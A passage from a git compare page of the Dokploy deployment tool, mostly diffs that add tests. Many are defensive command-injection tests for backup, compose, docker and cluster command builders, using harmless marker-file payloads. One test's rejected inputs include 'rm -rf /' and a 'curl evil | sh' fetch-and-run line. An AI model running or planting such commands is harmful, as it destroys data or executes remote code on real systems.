mirror of
https://github.com/Dokploy/dokploy.git
synced 2026-10-16 13:45:28 +00:00
Compare commits
120 Commits
v0.29.11
...
main-tagfix
| Author | SHA1 | Date | |
|---|---|---|---|
| 98af5a2f07 | |||
| 5ed94954e6 | |||
| 4e675d6f3f | |||
| 57fae73853 | |||
| dd542994a4 | |||
| bcf97f92ab | |||
| e19d7bbf0e | |||
| 3e4ed0c299 | |||
| 112b2c8358 | |||
| b7fdbd4704 | |||
| 13b897c01d | |||
| 83008205b9 | |||
| 0f0102ff2d | |||
| cbe78950cc | |||
| 49ee74c89d | |||
| e88d13f67b | |||
| 2f89981597 | |||
| c7a96ed82c | |||
| d4e087e128 | |||
| 7f41b098f9 | |||
| 43229c89da | |||
| c6607f3a19 | |||
| 6e84f39a9f | |||
| b024c9c2fd | |||
| 982f4d70f7 | |||
| a49615038f | |||
| 8b868c66d6 | |||
| 366e44b75a | |||
| cb2db0d30a | |||
| 7ba3853bab | |||
| 8def9e933e | |||
| e9b51667e2 | |||
| 25370cac30 | |||
| 52c7db1f66 | |||
| 6d65a36aac | |||
| cbec72ed80 | |||
| 3b102fac56 | |||
| b2ade17487 | |||
| ffe62bca0e | |||
| d3f522b7a6 | |||
| 4aee66b2d1 | |||
| d02f34f9d4 | |||
| 92310ddb14 | |||
| 16b5b7293f | |||
| d629faebc6 | |||
| eeb6e7b8ea | |||
| 9b078e0b4c | |||
| ce4be79b3d | |||
| 8c2e91a5e6 | |||
| 0514363062 | |||
| ffb8d4396b | |||
| 5ae344db58 | |||
| f339805ddf | |||
| 8fe3294a08 | |||
| 1e3f10bd22 | |||
| 393fb92344 | |||
| 79c9cf99e0 | |||
| 6cbc7a0031 | |||
| eb1f11b908 | |||
| 1a3c76d1f2 | |||
| 1e354a3cf2 | |||
| 1bc76e9e5b | |||
| 56169f3278 | |||
| 479d851829 | |||
| 68f5afae42 | |||
| 637715ac66 | |||
| df2779eaeb | |||
| 95a3556baa | |||
| fbd84b9b0d | |||
| d48037a802 | |||
| 8539a5c82f | |||
| ccd2e83c57 | |||
| 89effbe395 | |||
| b24202e69b | |||
| 0348f5fb38 | |||
| cba0b253c7 | |||
| 1c31ed9969 | |||
| ecbaf6060b | |||
| c0afc48da8 | |||
| 65fe737bc4 | |||
| 77384b2183 | |||
| 68ea9f7771 | |||
| 182d3656bb | |||
| c2c0e9c1c2 | |||
| 5563699f71 | |||
| 117cfa1a89 | |||
| 439eee45ed | |||
| e88c6b6b4f | |||
| 26cae3b8a9 | |||
| 071d9eacee | |||
| 57ecfa8884 | |||
| 97cd7d1009 | |||
| cf35eae73f | |||
| fb7f5bd5b6 | |||
| 47347ab885 | |||
| 74811073f6 | |||
| 15fe3b21c9 | |||
| df3965a581 | |||
| bddc0c3d15 | |||
| 9626c162cc | |||
| c4596ffa76 | |||
| de62aff0fb | |||
| d5dd35c8f8 | |||
| 4631ede015 | |||
| bc22d05f8d | |||
| 7ba9818894 | |||
| a376b00a71 | |||
| 9142127fb3 | |||
| 31380fd325 | |||
| f577778667 | |||
| 12d3f1871c | |||
| c04d56bf2c | |||
| 2e867c5be1 | |||
| e87a245cdc | |||
| 71bea42625 | |||
| 1cb9491013 | |||
| 01ac30974f | |||
| 1ca03d3dc2 | |||
| 1da4db2905 | |||
| b3feeed3e4 |
@@ -164,6 +164,7 @@ jobs:
|
||||
uses: softprops/action-gh-release@v2
|
||||
with:
|
||||
tag_name: ${{ steps.get_version.outputs.version }}
|
||||
target_commitish: ${{ github.sha }}
|
||||
name: ${{ steps.get_version.outputs.version }}
|
||||
generate_release_notes: true
|
||||
draft: false
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
|
||||
|
||||
describe("apiKeyNameSchema", () => {
|
||||
it("rejects an empty name", () => {
|
||||
const result = apiKeyNameSchema.safeParse("");
|
||||
expect(result.success).toBe(false);
|
||||
});
|
||||
|
||||
it("accepts a name at the maximum length", () => {
|
||||
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH);
|
||||
const result = apiKeyNameSchema.safeParse(name);
|
||||
expect(result.success).toBe(true);
|
||||
});
|
||||
|
||||
it("rejects a name over the maximum length instead of passing it to better-auth", () => {
|
||||
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH + 1);
|
||||
const result = apiKeyNameSchema.safeParse(name);
|
||||
expect(result.success).toBe(false);
|
||||
if (!result.success) {
|
||||
expect(result.error.issues[0]?.message).toBe(
|
||||
`Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`,
|
||||
);
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,106 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs";
|
||||
import {
|
||||
getLibsqlBackupCommand,
|
||||
getMariadbBackupCommand,
|
||||
getMongoBackupCommand,
|
||||
getMysqlBackupCommand,
|
||||
getPostgresBackupCommand,
|
||||
} from "@dokploy/server/utils/backups/utils";
|
||||
import {
|
||||
getMariadbRestoreCommand,
|
||||
getMongoRestoreCommand,
|
||||
getMysqlRestoreCommand,
|
||||
getPostgresRestoreCommand,
|
||||
} from "@dokploy/server/utils/restore/utils";
|
||||
import { afterAll, beforeAll, describe, expect, it } from "vitest";
|
||||
|
||||
// A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID,
|
||||
// exports the -e VAR=val pairs, and runs the inner `sh -c <script>` — so the
|
||||
// test exercises BOTH shell layers (outer /bin/sh building the docker command,
|
||||
// and the inner shell) the way production does, without needing a container.
|
||||
const stub = `/tmp/docker_stub_${process.pid}`;
|
||||
const MARK = `/tmp/dokploy_dbbk_pwned_${process.pid}`;
|
||||
|
||||
beforeAll(() => {
|
||||
writeFileSync(
|
||||
stub,
|
||||
`#!/bin/bash
|
||||
shift # exec
|
||||
envs=()
|
||||
while [ "$1" = "-e" ]; do envs+=("$2"); shift 2; done
|
||||
shift 2 # -i CONTAINER
|
||||
shell="$1"; shift # bash|sh
|
||||
shift # -c
|
||||
env "\${envs[@]}" "$shell" -c "$1" </dev/null 2>/dev/null || true
|
||||
`,
|
||||
);
|
||||
chmodSync(stub, 0o755);
|
||||
});
|
||||
|
||||
afterAll(() => {
|
||||
if (existsSync(stub)) rmSync(stub);
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
});
|
||||
|
||||
// Run a builder-produced command with `docker` pointed at the stub; return true
|
||||
// if no injected command fired.
|
||||
const runsSafely = (command: string) => {
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
const withStub = command.replace(/^docker /, `${stub} `);
|
||||
try {
|
||||
execSync(withStub, {
|
||||
shell: "/bin/bash",
|
||||
stdio: "ignore",
|
||||
env: { ...process.env, CONTAINER_ID: "test" },
|
||||
});
|
||||
} catch {}
|
||||
const fired = existsSync(MARK);
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
return !fired;
|
||||
};
|
||||
|
||||
// Payloads that try to break out of every quoting style used in the builders.
|
||||
const p = (mark: string) => [
|
||||
`$(touch ${mark})`,
|
||||
"`touch " + mark + "`",
|
||||
`x'; touch ${mark}; '`,
|
||||
`x"; touch ${mark}; echo "`,
|
||||
`x; touch ${mark}`,
|
||||
];
|
||||
|
||||
describe("database backup/restore command injection", () => {
|
||||
const cases: Array<[string, (v: string) => string]> = [
|
||||
["postgres backup (database)", (v) => getPostgresBackupCommand(v, "u")],
|
||||
["postgres backup (user)", (v) => getPostgresBackupCommand("db", v)],
|
||||
["mariadb backup (password)", (v) => getMariadbBackupCommand("db", "u", v)],
|
||||
["mysql backup (database)", (v) => getMysqlBackupCommand(v, "pw")],
|
||||
["mongo backup (user)", (v) => getMongoBackupCommand("db", v, "pw")],
|
||||
["libsql backup (database)", (v) => getLibsqlBackupCommand(v)],
|
||||
["postgres restore (database)", (v) => getPostgresRestoreCommand(v, "u")],
|
||||
[
|
||||
"mariadb restore (password)",
|
||||
(v) => getMariadbRestoreCommand("db", "u", v),
|
||||
],
|
||||
["mysql restore (database)", (v) => getMysqlRestoreCommand(v, "pw")],
|
||||
["mongo restore (user)", (v) => getMongoRestoreCommand("db", v, "pw")],
|
||||
];
|
||||
|
||||
for (const [label, build] of cases) {
|
||||
it(`${label} is not injectable`, () => {
|
||||
for (const payload of p(MARK)) {
|
||||
expect(runsSafely(build(payload))).toBe(true);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
it("preserves a legitimate database name (passed through as env var)", () => {
|
||||
const cmd = getPostgresBackupCommand("my-db_prod", "app_user");
|
||||
// Values live in -e assignments, never inline in the pg_dump text.
|
||||
expect(cmd).toContain("-e DB_NAME=my-db_prod");
|
||||
expect(cmd).toContain("-e DB_USER=app_user");
|
||||
expect(cmd).toContain(
|
||||
'pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER"',
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,70 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import { existsSync, rmSync } from "node:fs";
|
||||
import { getRegistryTag } from "@dokploy/server/utils/cluster/upload";
|
||||
import { parse, quote } from "shell-quote";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const MARK = `/tmp/dokploy_regnode_pwned_${process.pid}`;
|
||||
|
||||
const runsSafely = (command: string) => {
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
try {
|
||||
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
|
||||
} catch {}
|
||||
const fired = existsSync(MARK);
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
return !fired;
|
||||
};
|
||||
|
||||
const PAYLOADS = (m: string) => [
|
||||
`$(touch ${m})`,
|
||||
"`touch " + m + "`",
|
||||
`x; touch ${m}`,
|
||||
`x | touch ${m}`,
|
||||
];
|
||||
|
||||
describe("cluster removeWorker nodeId injection", () => {
|
||||
// docker node update/rm ${quote([nodeId])} — replace `docker node` with `:`.
|
||||
it("escapes nodeId in drain/remove commands", () => {
|
||||
for (const nodeId of PAYLOADS(MARK)) {
|
||||
const drain = `: node update --availability drain ${quote([nodeId])}`;
|
||||
const remove = `: node rm ${quote([nodeId])} --force`;
|
||||
expect(runsSafely(drain)).toBe(true);
|
||||
expect(runsSafely(remove)).toBe(true);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe("swarm upload registry tag/push injection", () => {
|
||||
// registryTag is built from registryUrl/username/imagePrefix (username and
|
||||
// imagePrefix have no schema regex). Assert docker tag/push stay safe.
|
||||
it("escapes a malicious imagePrefix flowing into the registry tag", () => {
|
||||
for (const payload of PAYLOADS(MARK)) {
|
||||
const registryTag = getRegistryTag(
|
||||
{
|
||||
registryUrl: "registry.example.com",
|
||||
imagePrefix: payload,
|
||||
username: "user",
|
||||
} as any,
|
||||
"app:latest",
|
||||
);
|
||||
const tagCmd = `: tag ${quote(["app:latest"])} ${quote([registryTag])}`;
|
||||
const pushCmd = `: push ${quote([registryTag])}`;
|
||||
expect(runsSafely(tagCmd)).toBe(true);
|
||||
expect(runsSafely(pushCmd)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("keeps a legitimate registry tag intact", () => {
|
||||
const tag = getRegistryTag(
|
||||
{
|
||||
registryUrl: "registry.example.com",
|
||||
imagePrefix: "team",
|
||||
username: "user",
|
||||
} as any,
|
||||
"myapp:1.2.3",
|
||||
);
|
||||
expect(tag).toBe("registry.example.com/team/myapp:1.2.3");
|
||||
expect(parse(quote([tag]))).toEqual([tag]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,104 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import { existsSync, rmSync } from "node:fs";
|
||||
import { createCommand } from "@dokploy/server/utils/builders/compose";
|
||||
import { parse, quote } from "shell-quote";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
|
||||
|
||||
const base = {
|
||||
composeType: "docker-compose" as const,
|
||||
appName: "compose-app",
|
||||
sourceType: "raw" as const,
|
||||
command: "",
|
||||
composePath: "docker-compose.yml",
|
||||
};
|
||||
|
||||
// createCommand output is interpolated as `docker ${command}` at the deploy
|
||||
// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
|
||||
const runsSafely = (command: string) => {
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
try {
|
||||
execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
|
||||
} catch {}
|
||||
const fired = existsSync(MARK);
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
return !fired;
|
||||
};
|
||||
|
||||
const PAYLOADS = [
|
||||
`$(touch ${MARK})`,
|
||||
"`touch " + MARK + "`",
|
||||
`x; touch ${MARK}`,
|
||||
`x | touch ${MARK}`,
|
||||
];
|
||||
|
||||
describe("compose createCommand injection", () => {
|
||||
it("escapes composePath (docker-compose)", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
sourceType: "github",
|
||||
composePath: p,
|
||||
} as any);
|
||||
expect(runsSafely(cmd)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("escapes composePath (stack deploy)", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
composeType: "stack",
|
||||
sourceType: "github",
|
||||
composePath: p,
|
||||
} as any);
|
||||
expect(runsSafely(cmd)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("escapes appName", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
sourceType: "github",
|
||||
appName: p,
|
||||
composePath: "docker-compose.yml",
|
||||
} as any);
|
||||
expect(runsSafely(cmd)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects a custom command containing shell control characters", () => {
|
||||
for (const bad of [
|
||||
"up -d; rm -rf /",
|
||||
"up && curl evil | sh",
|
||||
"up $(touch x)",
|
||||
"up `id`",
|
||||
]) {
|
||||
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
|
||||
/Invalid characters/,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it("allows a legitimate custom command", () => {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
command: "compose -f docker-compose.yml -p app up -d --build",
|
||||
} as any);
|
||||
expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
|
||||
});
|
||||
|
||||
it("keeps a legitimate composePath intact", () => {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
sourceType: "github",
|
||||
composePath: "deploy/docker-compose.prod.yml",
|
||||
} as any);
|
||||
expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
|
||||
expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
|
||||
"deploy/docker-compose.prod.yml",
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -42,6 +42,39 @@ test("Add suffix to volumes declared directly in services", () => {
|
||||
);
|
||||
});
|
||||
|
||||
const composeFileAccessMode = `
|
||||
version: "3.8"
|
||||
|
||||
services:
|
||||
web:
|
||||
image: nginx:alpine
|
||||
volumes:
|
||||
- web_config:/etc/nginx/conf.d:ro
|
||||
- certs/sub:/etc/certs:Z
|
||||
`;
|
||||
|
||||
test("Add suffix to volumes preserves access mode (:ro, :z, :Z)", () => {
|
||||
const composeData = parse(composeFileAccessMode) as ComposeSpecification;
|
||||
|
||||
const suffix = generateRandomHash();
|
||||
|
||||
if (!composeData.services) {
|
||||
return;
|
||||
}
|
||||
|
||||
const updatedComposeData = addSuffixToVolumesInServices(
|
||||
composeData.services,
|
||||
suffix,
|
||||
);
|
||||
|
||||
expect(updatedComposeData.web?.volumes).toContain(
|
||||
`web_config-${suffix}:/etc/nginx/conf.d:ro`,
|
||||
);
|
||||
expect(updatedComposeData.web?.volumes).toContain(
|
||||
`certs-${suffix}/sub:/etc/certs:Z`,
|
||||
);
|
||||
});
|
||||
|
||||
const composeFileTypeVolume = `
|
||||
version: "3.8"
|
||||
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import { existsSync, rmSync } from "node:fs";
|
||||
import { parse, quote } from "shell-quote";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
// The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql)
|
||||
// build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote)
|
||||
// path. `docker` is replaced by `:` so only the injection surface is exercised.
|
||||
const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`;
|
||||
|
||||
const PAYLOADS = [
|
||||
"$(touch %MARK%)",
|
||||
"`touch %MARK%`",
|
||||
"redis:7; touch %MARK%",
|
||||
"redis:7 && touch %MARK%",
|
||||
"redis:7 | touch %MARK%",
|
||||
];
|
||||
|
||||
describe("database service dockerImage command injection", () => {
|
||||
it("does not execute injected commands from dockerImage", () => {
|
||||
for (const template of PAYLOADS) {
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
const dockerImage = template.replace("%MARK%", MARK);
|
||||
const command = `: pull ${quote([dockerImage])}`;
|
||||
try {
|
||||
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
|
||||
} catch {}
|
||||
expect(existsSync(MARK)).toBe(false);
|
||||
}
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
});
|
||||
|
||||
it("keeps a legitimate image tag intact", () => {
|
||||
expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([
|
||||
"postgres:16.4-alpine",
|
||||
]);
|
||||
expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([
|
||||
"ghcr.io/org/db:latest",
|
||||
]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,66 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import { existsSync, rmSync } from "node:fs";
|
||||
import { parse, quote } from "shell-quote";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
// Reproduces the escaping applied at the docker build/pull sinks and asserts no
|
||||
// payload can break out of the command. `docker`/`cd` are replaced by `:` so the
|
||||
// test exercises only the injection surface, not real docker.
|
||||
const MARK = `/tmp/dokploy_docker_pwned_${process.pid}`;
|
||||
|
||||
const runAndCheckSafe = (command: string) => {
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
try {
|
||||
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
|
||||
} catch {
|
||||
// no-op stand-ins may exit non-zero; only the marker matters.
|
||||
}
|
||||
const fired = existsSync(MARK);
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
return !fired;
|
||||
};
|
||||
|
||||
const PAYLOADS = [
|
||||
"$(touch %MARK%)",
|
||||
"`touch %MARK%`",
|
||||
"x; touch %MARK%",
|
||||
"x && touch %MARK%",
|
||||
"x | touch %MARK%",
|
||||
];
|
||||
|
||||
describe("docker build/pull command injection", () => {
|
||||
it("dockerImage (buildRemoteDocker: docker pull / echo) is escaped", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const dockerImage = p.replace("%MARK%", MARK);
|
||||
const command = `: pull ${quote([dockerImage])}; : echo ${quote([`Pulling ${dockerImage}`])}`;
|
||||
expect(runAndCheckSafe(command)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("dockerContextPath (docker-file: cd) is escaped", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const dockerContextPath = p.replace("%MARK%", MARK);
|
||||
const command = `: cd ${quote([dockerContextPath])}`;
|
||||
expect(runAndCheckSafe(command)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("publishDirectory (nixpacks: docker cp source path) is escaped", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const publishDirectory = p.replace("%MARK%", MARK);
|
||||
const containerId = "buildabc";
|
||||
const command = `: cp ${quote([`${containerId}:/app/${publishDirectory}/.`])} /dest`;
|
||||
expect(runAndCheckSafe(command)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("keeps a legitimate image / path intact as a single token", () => {
|
||||
// Escaping may add backslashes (e.g. before ':'), but the shell must parse
|
||||
// the result back to exactly the original single token.
|
||||
expect(parse(quote(["nginx:1.27-alpine"]))).toEqual(["nginx:1.27-alpine"]);
|
||||
expect(parse(quote(["registry.io/team/app:tag"]))).toEqual([
|
||||
"registry.io/team/app:tag",
|
||||
]);
|
||||
expect(parse(quote(["dist/static"]))).toEqual(["dist/static"]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,104 @@
|
||||
import type { ApplicationNested } from "@dokploy/server/utils/builders";
|
||||
import { getRailpackCommand } from "@dokploy/server/utils/builders/railpack";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const createApplication = (
|
||||
overrides: Partial<ApplicationNested> = {},
|
||||
): ApplicationNested =>
|
||||
({
|
||||
appName: "test-app",
|
||||
buildType: "railpack",
|
||||
sourceType: "git",
|
||||
buildPath: "/",
|
||||
railpackVersion: "0.15.4",
|
||||
env: "TEST_VAR=one",
|
||||
cleanCache: false,
|
||||
environment: {
|
||||
project: {
|
||||
env: "",
|
||||
},
|
||||
env: "",
|
||||
},
|
||||
...overrides,
|
||||
}) as unknown as ApplicationNested;
|
||||
|
||||
const getSecretsHash = (command: string) => {
|
||||
const match = command.match(/secrets-hash=([a-f0-9]{64})/);
|
||||
if (!match?.[1]) {
|
||||
throw new Error("secrets-hash build arg was not found");
|
||||
}
|
||||
|
||||
return match[1];
|
||||
};
|
||||
|
||||
describe("getRailpackCommand", () => {
|
||||
it("includes secrets-hash without clean cache", () => {
|
||||
const command = getRailpackCommand(createApplication());
|
||||
|
||||
expect(command).toContain("--build-arg secrets-hash=");
|
||||
expect(command).not.toContain("cache-key=");
|
||||
});
|
||||
|
||||
it("includes cache-key only when clean cache is enabled", () => {
|
||||
const command = getRailpackCommand(
|
||||
createApplication({
|
||||
cleanCache: true,
|
||||
}),
|
||||
);
|
||||
|
||||
expect(command).toContain("--build-arg secrets-hash=");
|
||||
expect(command).toContain("--build-arg cache-key=");
|
||||
});
|
||||
|
||||
it("changes secrets-hash when an environment value changes", () => {
|
||||
const firstCommand = getRailpackCommand(
|
||||
createApplication({
|
||||
env: "TEST_VAR=one",
|
||||
}),
|
||||
);
|
||||
const secondCommand = getRailpackCommand(
|
||||
createApplication({
|
||||
env: "TEST_VAR=two",
|
||||
}),
|
||||
);
|
||||
|
||||
expect(getSecretsHash(firstCommand)).not.toEqual(
|
||||
getSecretsHash(secondCommand),
|
||||
);
|
||||
});
|
||||
|
||||
it("changes secrets-hash when referenced project or environment values change", () => {
|
||||
const firstCommand = getRailpackCommand(
|
||||
createApplication({
|
||||
env: [
|
||||
"PROJECT_VALUE=${{project.SHARED_VALUE}}",
|
||||
"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
|
||||
].join("\n"),
|
||||
environment: {
|
||||
project: {
|
||||
env: "SHARED_VALUE=one",
|
||||
},
|
||||
env: "SHARED_VALUE=alpha",
|
||||
},
|
||||
} as Partial<ApplicationNested>),
|
||||
);
|
||||
const secondCommand = getRailpackCommand(
|
||||
createApplication({
|
||||
env: [
|
||||
"PROJECT_VALUE=${{project.SHARED_VALUE}}",
|
||||
"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
|
||||
].join("\n"),
|
||||
environment: {
|
||||
project: {
|
||||
env: "SHARED_VALUE=two",
|
||||
},
|
||||
env: "SHARED_VALUE=beta",
|
||||
},
|
||||
} as Partial<ApplicationNested>),
|
||||
);
|
||||
|
||||
expect(getSecretsHash(firstCommand)).not.toEqual(
|
||||
getSecretsHash(secondCommand),
|
||||
);
|
||||
});
|
||||
});
|
||||
+93
@@ -0,0 +1,93 @@
|
||||
import {
|
||||
decryptValue,
|
||||
encryptValue,
|
||||
exportEncryptionKeys,
|
||||
isEncrypted,
|
||||
} from "@dokploy/server/lib/encryption";
|
||||
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
describe("encryptValue / decryptValue", () => {
|
||||
it("round-trips a value", () => {
|
||||
const value =
|
||||
"DATABASE_URL=postgres://user:secret@host:5432/db\nAPI_KEY=123";
|
||||
const encrypted = encryptValue(value);
|
||||
|
||||
expect(encrypted).not.toBe(value);
|
||||
expect(isEncrypted(encrypted)).toBe(true);
|
||||
expect(encrypted).not.toContain("secret");
|
||||
expect(decryptValue(encrypted)).toBe(value);
|
||||
});
|
||||
|
||||
it("uses a random IV so equal inputs produce different ciphertexts", () => {
|
||||
const value = "KEY=value";
|
||||
expect(encryptValue(value)).not.toBe(encryptValue(value));
|
||||
});
|
||||
|
||||
it("passes legacy plaintext through on decrypt", () => {
|
||||
const plaintext = "KEY=legacy-plaintext-value";
|
||||
expect(decryptValue(plaintext)).toBe(plaintext);
|
||||
});
|
||||
|
||||
it("passes empty values through unchanged", () => {
|
||||
expect(encryptValue("")).toBe("");
|
||||
expect(decryptValue("")).toBe("");
|
||||
});
|
||||
|
||||
it("does not double-encrypt an already encrypted value", () => {
|
||||
const encrypted = encryptValue("KEY=value");
|
||||
expect(encryptValue(encrypted)).toBe(encrypted);
|
||||
});
|
||||
|
||||
it("throws a descriptive error on tampered ciphertext", () => {
|
||||
const encrypted = encryptValue("KEY=value");
|
||||
const tampered = `${encrypted.slice(0, -4)}AAAA`;
|
||||
expect(() => decryptValue(tampered)).toThrow(/BETTER_AUTH_SECRET/);
|
||||
});
|
||||
|
||||
it("exports the derived keys as 32-byte hex lines for backups", () => {
|
||||
expect(exportEncryptionKeys()).toMatch(/^[0-9a-f]{64}(\n[0-9a-f]{64})*$/);
|
||||
});
|
||||
});
|
||||
|
||||
describe("dedicated ENCRYPTION_KEY", () => {
|
||||
afterEach(() => {
|
||||
vi.unstubAllEnvs();
|
||||
vi.resetModules();
|
||||
});
|
||||
|
||||
const loadWithEncryptionKey = async (key: string) => {
|
||||
vi.stubEnv("ENCRYPTION_KEY", key);
|
||||
vi.resetModules();
|
||||
return await import("@dokploy/server/lib/encryption");
|
||||
};
|
||||
|
||||
it("encrypts with the dedicated key when set", async () => {
|
||||
const withKey = await loadWithEncryptionKey("my-dedicated-key");
|
||||
const encrypted = withKey.encryptValue("KEY=value");
|
||||
|
||||
expect(withKey.decryptValue(encrypted)).toBe("KEY=value");
|
||||
// The default (auth-secret derived) module cannot read it
|
||||
expect(() => decryptValue(encrypted)).toThrow(/ENCRYPTION_KEY/);
|
||||
});
|
||||
|
||||
it("still decrypts legacy values via the auth-secret fallback", async () => {
|
||||
// Encrypted before the install adopted a dedicated key
|
||||
const legacyEncrypted = encryptValue("KEY=legacy-value");
|
||||
|
||||
const withKey = await loadWithEncryptionKey("my-dedicated-key");
|
||||
expect(withKey.decryptValue(legacyEncrypted)).toBe("KEY=legacy-value");
|
||||
});
|
||||
|
||||
it("re-encrypts with the dedicated key on write", async () => {
|
||||
const withKey = await loadWithEncryptionKey("my-dedicated-key");
|
||||
const reEncrypted = withKey.encryptValue(
|
||||
withKey.decryptValue(encryptValue("KEY=migrated")),
|
||||
);
|
||||
|
||||
const other = await loadWithEncryptionKey("another-key");
|
||||
// Readable only by the dedicated key (or its own fallback), proving
|
||||
// the write used the primary key, not the legacy one
|
||||
expect(withKey.decryptValue(reEncrypted)).toBe("KEY=migrated");
|
||||
expect(() => other.decryptValue(reEncrypted)).toThrow();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,108 @@
|
||||
import { prepareEnvironmentVariables } from "@dokploy/server/index";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const projectEnv = `
|
||||
ENVIRONMENT=staging
|
||||
DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db
|
||||
`;
|
||||
|
||||
const environmentEnv = `
|
||||
NODE_ENV=production
|
||||
POSTGRES_HOST=postgres.internal
|
||||
POSTGRES_PORT=5432
|
||||
REDIS_URL=redis://redis.internal:6379
|
||||
`;
|
||||
|
||||
const serviceEnv = `
|
||||
NODE_ENV=\${{environment.NODE_ENV}}
|
||||
REDIS_URL=\${{environment.REDIS_URL}}
|
||||
PORT=3000
|
||||
`;
|
||||
|
||||
/**
|
||||
* A rollback replays the snapshot stored in `rollbacks.fullContext`, which keeps
|
||||
* the service env, the environment env and the project env captured at deploy time.
|
||||
*/
|
||||
const fullContext = {
|
||||
env: serviceEnv,
|
||||
environment: {
|
||||
env: environmentEnv,
|
||||
project: {
|
||||
env: projectEnv,
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
describe("prepareEnvironmentVariables for application rollback", () => {
|
||||
it("resolves environment variables from the rollback snapshot", () => {
|
||||
const result = prepareEnvironmentVariables(
|
||||
fullContext.env,
|
||||
fullContext.environment.project.env,
|
||||
fullContext.environment.env,
|
||||
);
|
||||
|
||||
expect(result).toEqual([
|
||||
"NODE_ENV=production",
|
||||
"REDIS_URL=redis://redis.internal:6379",
|
||||
"PORT=3000",
|
||||
]);
|
||||
});
|
||||
|
||||
it("resolves project and environment variables together on rollback", () => {
|
||||
const rollbackEnv = `
|
||||
DATABASE_URL=\${{project.DATABASE_URL}}
|
||||
POSTGRES_URL=postgres://\${{environment.POSTGRES_HOST}}:\${{environment.POSTGRES_PORT}}/app
|
||||
ENVIRONMENT=\${{project.ENVIRONMENT}}
|
||||
`;
|
||||
|
||||
const result = prepareEnvironmentVariables(
|
||||
rollbackEnv,
|
||||
projectEnv,
|
||||
environmentEnv,
|
||||
);
|
||||
|
||||
expect(result).toEqual([
|
||||
"DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db",
|
||||
"POSTGRES_URL=postgres://postgres.internal:5432/app",
|
||||
"ENVIRONMENT=staging",
|
||||
]);
|
||||
});
|
||||
|
||||
